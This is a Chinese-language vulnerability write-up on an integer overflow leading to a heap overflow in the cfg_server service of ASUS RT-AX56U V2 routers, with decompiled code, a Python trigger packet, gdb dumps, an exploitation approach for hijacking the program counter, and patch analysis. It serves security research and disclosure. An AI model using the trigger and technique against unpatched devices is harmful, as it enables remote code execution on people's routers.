作者:cq674350529
本文為作者投稿,Seebug Paper 期待你的分享,凡經采用即有禮品相送! 投稿郵箱:paper@seebug.org

前言

2021年天府杯破解大賽的設備類項目包含群暉和華碩兩個項目,其中,群暉設備(DS220j)暫時無選手攻破,而華碩設備(RT-AX56U V2/熱血版)則被兩隊選手成功拿下。筆者在前期主要關注群暉設備,也順帶看了下華碩設備,雖然發現了其他的小問題,但是未發現這個整數溢出漏洞 。目前華碩官方已發布對應的補丁,網上也有其他師傅對這個漏洞進行了詳細的分析,感興趣地可以看看 "天府杯華碩會戰的圍剿與反圍剿"。參考上面兩篇文章,下文將對漏洞進行分析,并重點關注漏洞的利用思路。

環境準備

華碩RT-AX56U型號設備有兩個版本:RT-AX56URT-AX56U V2/熱血版,這兩個版本的設備固件大體上相似,存在些許差異。該漏洞在這兩個版本中均存在,由于手邊有一個RT-AX56U V2型號的真實設備,故這里基于RT-AX56U_V2 3.0.0.4.386_45898固件版本進行分析。

RT-AX56U對應的固件名稱為"FW_RT_AX56U_xxxxxx",RT-AX56U V2/熱血版對應的固件名稱為"FW_RT_AX55_xxxxxxs"。從官方下載鏈接來看,RT-AX56U對應的歷史固件比較多,因此也可以基于該版本進行分析。

該設備支持TelnetSSH功能,開啟Telnet后登錄到設備,即可獲取設備的root shell,便于后續的分析和調試。

華碩路由器固件遵循GPL協議,在網上可以搜索到相關代碼。其中,asuswrt-merlin項目中的一些源碼與華碩路由器固件中的部分代碼對應,值得借鑒參考。

漏洞分析

設備上開放的部分端口信息如下。其中,cfg_server進程監聽7788/tcp7788/udp端口,而漏洞就存在于該進程中。

# netstat -tulnp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:5152            0.0.0.0:*               LISTEN      362/envrams
tcp        0      0 0.0.0.0:18017           0.0.0.0:*               LISTEN      1131/wanduck
tcp        0      0 0.0.0.0:46340           0.0.0.0:*               LISTEN      1301/miniupnpd
tcp        0      0 0.0.0.0:7788            0.0.0.0:*               LISTEN      1331/cfg_server     # <===
tcp        0      0 192.168.1.1:80          0.0.0.0:*               LISTEN      1222/httpd
udp        0      0 192.168.1.1:52738       0.0.0.0:*                           1301/miniupnpd
udp        0      0 0.0.0.0:9999            0.0.0.0:*                           1223/infosvr
udp        0      0 0.0.0.0:18018           0.0.0.0:*                           1131/wanduck
udp        0      0 0.0.0.0:7788            0.0.0.0:*                           1331/cfg_server     # <===
udp        0      0 0.0.0.0:1900            0.0.0.0:*                           1301/miniupnpd
udp        0      0 0.0.0.0:59000           0.0.0.0:*                           1159/eapd
udp        0      0 192.168.1.1:5351        0.0.0.0:*                           1301/miniupnpd

使用IDA對該程序進行分析,在cm_rcvTcpHandler()中,會調用pthread_create()創建一個新的線程來對連接進行處理。

void cm_rcvTcpHandler(int a1)
{
  // ...
  v5 = accept(*(_DWORD *)(a1 + 12), &v14, &addr_len);
  if ( v5 >= 0 )
  {
    *v2 = v5;
    if ( pthread_create(&newthread, (const pthread_attr_t *)attrp, (void *(*)(void *))cm_tcpPacketHandler, v2) )
    {
      // ...

cm_tcpPacketHandler()中,調用read_tcp_message()讀取socket數據之后,再調用cm_packetProcess()進行處理。

int cm_tcpPacketHandler(int *a1)
{
  // ...
  if ( v20[0] )
  {
    // ...
    while ( 1 )
    {
      memset(v21, 0, 0x4000u);
      v10 = read_tcp_message(v2, v21, 0x4000u);
      if ( v10 <= 0 )
        break;
      if ( cm_packetProcess(v2, v21, v10, (int)v19, (int)v20, (int)&cm_ctrlBlock, (int)v18) == 1 )
        // ...

cm_packetProcess()中,其主要功能是根據接收數據的前4個字節的內容,在packetHandlers中匹配對應的opcode,匹配成功的話則調用對應的處理函數。

int cm_packetProcess(int a1, unsigned int *a2, unsigned int a3, int a4, int a5, int a6, int a7)
{
  v7 = a2;  // recv_buf
  // ...
  while ( 2 )
  {
    if ( v14 >= (int)a3 )
      return 0;
    v15 = v14 + 12;
    if ( v15 <= a3 )
    {
      v19 = *v7;  v20 = v7[1];  v21 = v7 + 3;
      v46 = v19;  v47 = v20;  v48 = *(v21 - 1);
      v22 = v19;
      // ...
      v24 = bswap32(v22);
      v28 = 0;
      while ( 1 )
      {
        v29 = &packetHandlers[v28];
        v30 = packetHandlers[v28];
        if ( v30 <= 0 )
          break;
        v28 += 2;
        if ( v30 == v24 )       // match opcode
          goto LABEL_27;
      }
      if ( *v29 < 0 )
      { /* ... */ }
      else
      {
LABEL_27:
        if ( !((int (__fastcall *)(int, int, unsigned int, unsigned int, int, int, unsigned int *, int, int))v29[1])( a1, a6, v46, v47, v48, a7, v21, a4, a5) )     // call function
        {
          // ...

經過分析,接收的消息數據包的格式為類似TLV(type-length-value)的格式,其中多了一個checksum字段,如下。

struct msg {
    uint32_t type;
    uint32_t length;    // length of value
    uint32_t checksum;  // crc32 of value
    char* value;
}

packetHandlers地址處包含的opcodefunction pointer的示例如下。通過指定數據包中的type字段,即可調用packetHandlers中對應的處理函數。

.data:000AE4A4 packetHandlers  DCD 1                   ; DATA XREF: LOAD:00011820↑o
.data:000AE4A4                                         ; cm_packetProcess+2F8↑o ...
.data:000AE4A8                 DCD cm_processREQ_KU
.data:000AE4AC                 DCD 3
.data:000AE4B0                 DCD cm_processREQ_NC
.data:000AE4B4                 DCD 5
.data:000AE4B8                 DCD cm_processREP_OK
.data:000AE4BC                 DCD 8
.data:000AE4C0                 DCD cm_processREQ_CHK
.data:000AE4C4                 DCD 0xA
.data:000AE4C8                 DCD cm_processACK_CHK
; ...
.data:000AE51C                 DCD 0x28
.data:000AE520                 DCD cm_processREQ_GROUPID
.data:000AE524                 DCD 0x2A
.data:000AE528                 DCD cm_processACK_GROUPID
; ...
.data:000AE55C                 DCD 0x3B
.data:000AE560                 DCD cm_processREQ_LEVEL
.data:000AE564                 DCD 0xFFFFFFFF

通過對上述處理函數進行分析,發現大多數函數都會先對value部分的內容進行AES解密,然后再對解密后的內容進行處理,而漏洞就存在于AES解密的過程中。以cm_processREQ_GROUPID()為例,在(1)處對checksum進行校驗,通過后在(2)處會調用aes_decrypt()對數據進行解密。在aes_decrypt()中,在(3)處計算EVP_CIPHER_CTX_block_size(ctx) + tlv_length,然后將其傳入malloc()中。由于未對tlv_length的值進行校驗,當偽造tlv_length=0xfffffffa時,在(3)處會出現整數溢出,使得malloc()申請一塊很小的內存,造成后續在循環調用EVP_DecryptUpdate()往該內存中寫數據時出現堆溢出。

int cm_processREQ_GROUPID(int sock_fd, int cm_ctrlblock_ptr, int tlv_type, unsigned int tlv_length, unsigned int crc_checksum, int a6, int tlv_value_ptr)
{
  // ...  
  v11 = get_onboarding_key();
  if ( v11 )
  {
    v15 = bswap32(tlv_length);
    if ( calc_checksum(0, (char *)tlv_value_ptr, v15) != bswap32(crc_checksum) )    // (1) verify checksum
    {
      /* checksum fail */
    }
    // ...
    v22 = aes_decrypt((int)v11, tlv_value_ptr, v15, &v42);  // (2)
    // ...

char * aes_decrypt(int key, int tlv_value_ptr, unsigned int tlv_length, _DWORD *decodeMsgLen)
{
  // ...
  out_len[0] = 0;
  ctx = EVP_CIPHER_CTX_new();
  cipher = EVP_aes_256_ecb();
  v10 = (void *)EVP_DecryptInit_ex(ctx, cipher, 0, key, 0);
  if ( v10 )
  {
    *decodeMsgLen = 0;
    v11 = EVP_CIPHER_CTX_block_size(ctx) + tlv_length;  // (3) ctx size: 0x10, integer overflow
    v12 = malloc(v11);  // (4)
    v10 = v12;
    if ( v12 )
    {
      memset(v12, 0, v11);
      out = (int)v10;
      for ( i = tlv_length; ; i -= 16 )
      {
        in = tlv_value_ptr + tlv_length - i;
        if ( i <= 0x10 )
          break;
        if ( !EVP_DecryptUpdate(ctx, out, (int)out_len, in, 16) )   // (5) heap overflow
        {
          printf("%s(%d):Failed to EVP_DecryptUpdate()!!\n", "aes_decrypt", 795);
          EVP_CIPHER_CTX_free(ctx);
          free(v10);
          return 0;
        }
        out += out_len[0];
        *decodeMsgLen += out_len[0];
      }
      // ...

因此,通過構造類似如下的數據,即可觸發漏洞。其中,設置checksum=0即可,因為在calc_checksum()中,當tlv_length=0xfffffffa時,由于條件不成立會直接返回,計算的結果為0

tlv = p32(0x28, ">")
tlv += p32(0xfffffffa, ">")
tlv += p32(0)
tlv += 'a' * 0x10

"""
unsigned int calc_checksum(unsigned int result, char *tlv_value_ptr, int tlv_length)
{
  char v3; // t1

  while ( --tlv_length >= 0 )  // condition fail if tlv_length is negative
  {
    v3 = *tlv_value_ptr++;
    result = CRC32_Table[(unsigned __int8)(v3 ^ result)] ^ (result >> 8);
  }
  return result;
}
"""

漏洞利用

如前所述,在packetHandlers地址處包含的處理函數中,很多都會調用cm_aesDecryptMsg()aes_decrypt()value部分的內容進行解密。經過測試,似乎只有函數cm_processREQ_GROUPID()cm_processACK_GROUPID()可以無條件觸發,其他函數會依賴sessionKey來對數據進行解密或者路徑上的某個條件不滿足,造成無法觸發漏洞。因此,這里選擇通過cm_processREQ_GROUPID()來觸發漏洞。

sessionKey的部分內容無法事先獲取

漏洞的原理和觸發很簡單,但是該如何進行漏洞利用呢?根據之前的分析,漏洞是由于整數溢出造成的堆溢出,假設tlv_length=0xfffffffa,后續在循環調用EVP_DecryptUpdate()時會嘗試寫入長度為0xfffffffa的數據,在這個過程中會出現非法內存發訪問造成程序崩潰。因此,想要進行漏洞利用,最好是在調用EVP_DecryptUpdate()或者EVP_CIPHER_CTX_free(ctx)的過程中完成。

char * aes_decrypt(int key, int tlv_value_ptr, unsigned int tlv_length, _DWORD *decodeMsgLen)
{
  // ...
  ctx = EVP_CIPHER_CTX_new();
  cipher = EVP_aes_256_ecb();
  v10 = (void *)EVP_DecryptInit_ex(ctx, cipher, 0, key, 0);
  if ( v10 )
  {
    *decodeMsgLen = 0;
    v11 = EVP_CIPHER_CTX_block_size(ctx) + tlv_length;  // (3) ctx size: 0x10, integer overflow
    v12 = malloc(v11);  // (4)
    v10 = v12;
    if ( v12 )
    {
      memset(v12, 0, v11);
      for ( i = tlv_length; ; i -= 16 )
      {
        in = tlv_value_ptr + tlv_length - i;
        if ( i <= 0x10 )
          break;
        if ( !EVP_DecryptUpdate(ctx, out, (int)out_len, in, 16) )   // (5) heap overflow    <===
        {
          printf("%s(%d):Failed to EVP_DecryptUpdate()!!\n", "aes_decrypt", 795);
          EVP_CIPHER_CTX_free(ctx);         <===
          free(v10);
          // ...

參考@CataLpa師傅文章的思路,以EVP_DecryptUpdate()為例,其部分示例代碼如下。可以看到后續會調用*ctx+0x18處的函數指針,如果能覆蓋ctx結構體中的cipher指針(對應*ctx),則有可能使程序流程執行到(6)處,從而劫持程序的控制流。說明:在(6)處,正常的流程是調用evp_EncryptDecryptUpdate()evp_EncryptDecryptUpdate()中也存在類似調用*ctx+0x18處的函數指針的代碼。另外,如果能覆蓋ctx結構體中的cipher指針,也可以使EVP_DecryptUpdate()提前返回,然后調用EVP_CIPHER_CTX_free(ctx),思路類似。

/usr/lib/libcrypto.so.1.1對應的OpenSSL版本為 1.1.1k

bool EVP_DecryptUpdate(_DWORD *ctx, char *out, int *out_len, char *in, int in_len)
{
  v5 = ctx[2];
  // ...
  v9 = *(_DWORD *)(*ctx + 4);                   // ctx->cipher->block_size
  // ...
  v12 = *ctx;
  if ( (*(_DWORD *)(*ctx + 16) & 0x100000) == 0 )
  {
    if ( (ctx[23] & 0x100) != 0 )
      return evp_EncryptDecryptUpdate(ctx, (int)out, out_len, in, in_len);
    // ...
    v17 = ctx[25];
    // ...
    v5 = evp_EncryptDecryptUpdate(ctx, (int)out, out_len, in, in_len);
    if ( v5 )
    {
      if ( v9 <= 1 || ctx[3] )
      {
        v19 = 0;
        ctx[25] = 0;
      }
      else
      {
        *out_len -= v9;
        ctx[25] = 1;
        memcpy(ctx + 27, &out[*out_len], v9);
      }
      if ( v17 )
        v19 = *out_len;
      v5 = 1;
      if ( v17 )
        *out_len = v19 + v9;
    }
    return v5;
  }
  if ( v9 == 1 )
  {
    // ...
  }
LABEL_11:
  v13 = (*(int (_DWORD *, char *, char *, int))(v12 + 0x18))(ctx, out, in, in_len); // (6) <===

通過組合發送不同的請求,以及調整構造的數據包的內容,在一定情況下可以得到如下的內存布局,其中0xb6400a60ctx結構體的指針,0xb6400a48malloc()返回的地址。可以看到,確實可以通過覆蓋ctx結構體中cipher指針(這里是0xb6ef6b1c)的方式來劫持程序控制流,但問題是用什么地址來覆蓋?需要有一塊內容可控的地址。通過對cfg_server的其他功能進行分析,暫時未找到對應的操作來實現向.data/.bss等區域寫入可控內容。因此,采用這種方式可能需要結合爆破或其他方法。

實際測試時,這種內存布局似乎也不是特別穩定 :(

(gdb) c
Continuing.
[New Thread 19239.19346]
0xb6400a60, 0xb6400a48          ; 0xb6400a60: ctx_ptr, 0xb6400a48: return value of malloc()
[Switching to Thread 19239.19346]
=> 0x1d9fc <aes_decrypt+260>:   bl      0x149f8 <EVP_DecryptUpdate@plt>
   0x1da00 <aes_decrypt+264>:   subs    r3, r0, #0
   0x1da04 <aes_decrypt+268>:   bne     0x1da40 <aes_decrypt+328>
   0x1da08 <aes_decrypt+272>:   ldr     r1, [pc, #312]  ; 0x1db48 <aes_decrypt+592>

Thread 4 "cfg_server" hit Breakpoint 1, 0x0001d9fc in aes_decrypt ()
(gdb) x/4wx 0xb6400a60
0xb6400a60:     0xb6ef6b1c      0x00000000      0x00000000      0x00000000
(gdb) x/20wx 0xb6400a48
0xb6400a48:     0x00000000      0x00000000      0x00000000      0x00000000
0xb6400a58:     0x00000000      0x00000095      0xb6ef6b1c      0x00000000  ; 覆蓋0xb6ef6b1c為內容可控的地址
0xb6400a68:     0x00000000      0x00000000      0x00000000      0x00000000
0xb6400a78:     0x00000000      0x00000000      0x00000000      0x00000000
0xb6400a88:     0x00000000      0x00000000      0x00000000      0x00000000
(gdb) x/20wx 0xb6ef6b1c
0xb6ef6b1c:     0x000001aa      0x00000010      0x00000020      0x00000000
0xb6ef6b2c:     0x00001001      0xb6e27480      0xb6e27710      0x00000000
0xb6ef6b3c:     0x00000100      0x00000000      0x00000000      0x00000000
0xb6ef6b4c:     0x00000000      0x00000383      0x00000001      0x00000018
0xb6ef6b5c:     0x0000000c      0x00301c77      0xb6e28fac      0xb6e28b40

后來又請教了@Yimi Hu師傅,學到了另一種更簡單也更穩定的思路。假設還是嘗試覆蓋ctx結構體中的cipher指針,通過組合發送不同的請求,以及調整構造的數據包內容,可得到內存布局如下。測試發現,continue后程序崩潰,PC寄存器的內容似乎被覆蓋了,但與發送的數據不一致。

(gdb) c                                                                             
Continuing.                                                                         
[New Thread 20697.23444]                                                            
0xb6602040, 0xb6600a48          ; 0xb6602040: ctx_ptr, 0xb6600a48: return value of malloc()
[Switching to Thread 20697.23444]                                                   
=> 0x1d9fc <aes_decrypt+260>:   bl      0x149f8 <EVP_DecryptUpdate@plt>             
   0x1da00 <aes_decrypt+264>:   subs    r3, r0, #0                                  
   0x1da04 <aes_decrypt+268>:   bne     0x1da40 <aes_decrypt+328>                   
   0x1da08 <aes_decrypt+272>:   ldr     r1, [pc, #312]  ; 0x1db48 <aes_decrypt+592> 

Thread 4 "cfg_server" hit Breakpoint 1, 0x0001d9fc in aes_decrypt ()                
(gdb) disable 1                                                                     
(gdb) c                                                                             
Continuing.                                                                         
[New Thread 20697.23558]                                                            

Thread 4 "cfg_server" received signal SIGSEGV, Segmentation fault.                  
=> 0x325e5d34:  Error while running hook_stop:                                      
Cannot access memory at address 0x325e5d34                                          
0x325e5d34 in ?? ()
(gdb) bt
#0  0x325e5d34 in ?? ()
#1  0xb6e3f760 in ?? () from target:/usr/lib/libcrypto.so.1.1

查看崩潰處的代碼,示例如下。可以看到,PC寄存器(對應R3寄存器)的值來自于*(v11+0xF8),而v11來自于*(_DWORD *)(ctx + 96),即PC=*(*(_DWORD *)(ctx + 96)+0xF8)

int __fastcall do_cipher(int ctx, int out, int in, unsigned int inl)
{
  v8 = EVP_CIPHER_CTX_block_size(ctx);
  v9 = EVP_CIPHER_CTX_get_cipher_data(ctx);     // (6)
  if ( v8 <= inl )
  {
    v10 = inl - v8;
    v11 = v9;
    v12 = in;
    do
    {
      v13 = v12;
      v12 += v8;
      /* .text:B6E3F748 LDR             R3, [R7,#0xF8]
         .text:B6E3F74C MOV             R1, R5
         .text:B6E3F750 MOV             R0, R4
         .text:B6E3F754 MOV             R2, R7
         .text:B6E3F758 ADD             R4, R4, R6
         .text:B6E3F75C BLX             R3
         .text:B6E3F760 RSB             R3, R10, R4
      */
      (*(void (__fastcall **)(int, int, int))(v11 + 0xF8))(v13, out, v11);  // (7) call AES_decrypt()
      out += v8;
    }
    while ( v10 >= v12 - in );
  }
  return 1;
}

int EVP_CIPHER_CTX_get_cipher_data(int ctx)
{
  return *(_DWORD *)(ctx + 96);
}

對應地址處的內容如下。可以發現,在嘗試從地址0xb6600a48溢出到0xb6602040的過程中,已經能覆蓋地址0xb6601380處的內容了,即劫持了PC寄存器,但PC寄存器的值與預期(0x30303030)不一致。通過查看解密的內容,發現從0xb6600fe8開始,解密的內容與預期的就不一致了,猜測可能是在0xb6600fd8處覆蓋了和解密相關的數據如密鑰。

;0xb6602040, 0xb6600a48         ; 0xb6602040: ctx_ptr, 0xb6600a48: return value of malloc()
(gdb) x/4wx 0xb6602040+96       ; ctx + 96
0xb66020a0:     0xb6601288      0x00000001      0x0000000f      0xc53430e9
(gdb) x/4wx 0xb6601288+0xf8     ; v11 + 0xF8
0xb6601380:     0x325e5d36      0x571e1e57      0x00000000      0x00000031
(gdb) x/20wx 0xb6600fc8
0xb6600fc8:     0x30303030      0x30303030      0x30303030      0x30303030
0xb6600fd8:     0x30303030      0x30303030      0x30303030      0x30303030
0xb6600fe8:     0x8c8b045e      0xc7ea483a      0xa382ee1b      0xc3ad7553  ; 解密數據與預期不一致
0xb6600ff8:     0xf0e37788      0x927bccde      0xe6fb83e2      0x367ff9f7
0xb6601008:     0xf0e37788      0x927bccde      0xe6fb83e2      0x367ff9f7

解決的方式很簡單,只要在發送的原始數據包中包含相應的內容,使得某些地址處覆蓋前后的內容一致,即可保證解密后的數據和預期的一致。具體地,在(7)處正常是調用AES_decrypt(),第3個參數即v11aes_key_st結構體,其與解密密鑰相關,因此需要保證0xb6601288地址開始處的一段內容在覆蓋前后保持不變。而上面提到的0xb6600fd8地址處,也有一小部分數據(暫時未理解其用途 )會影響解密的結果,也需要保持不變。

不同的內存布局可能存在細微差異。經測試,上述內存布局比較穩定。

void AES_decrypt(const unsigned char *in, unsigned char *out, const AES_KEY *key);

# define AES_MAXNR 14
struct aes_key_st {
    unsigned int rd_key[4 * (AES_MAXNR + 1)];
    int rounds;
};
typedef struct aes_key_st AES_KEY;

aes_key_st結構體的原始內容可以dump出來,或者參考AES_set_decrypt_key()自行生成。

之后,即可在(7)處正常劫持PC,同時第一個參數指向用戶發送的內容,很容易實現代碼執行的目的。

補丁分析

在版本RT-AX56U_V2 3.0.0.4.386_49559中,在cm_packetProcess()中增加了對數據包中tlv_length字段的校驗,如下。可以看到,在開始部分,會先對接收數據包的長度recv_data_len和數據包中的tlv_length字段之間的關系進行校驗。而在調用read_tcp_message()讀取數據包時,每次最多讀取0x4000字節,故該校驗可保證tlv_length字段的值不會太大,不會造成后續出現整數溢出問題。

int cm_packetProcess(int a1, unsigned int *recv_buf, unsigned int recv_data_len, int a4, int a5, int a6, int a7)
{
  v7 = recv_buf;
  // ...
  v14 = 0;
  while ( 2 )
  {
    if ( v14 >= (int)recv_data_len )
      return 0;
    v15 = v14 + 12;
    if ( v15 <= recv_data_len )
    {
      v45 = *v7;        // type
      v46 = v7[1];      // length
      v47 = v7[2];      // checksum
      if ( recv_data_len - 12 != bswap32(v46) )  // check tlv_length
      {
        // checking length error
      }
      // ...

小結

本文基于RT-AX56U V2型號設備,對2021年天府杯破解大賽華碩設備中的漏洞進行了分析,并重點介紹了漏洞利用的思路。在嘗試進行漏洞利用的過程中,一方面需要對目標設備的功能比較熟悉;另一方面,在沒有思路的時候多嘗試(如進行fuzz)和多調試,可能會有意向不到的結果。另外,文章中給出的思路是基于@Yimi Hu@CataLpa兩位師傅的文章,實際比賽中采用的利用思路不得而知,再次感謝@Yimi Hu@CataLpa的幫助。

相關鏈接


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/2098/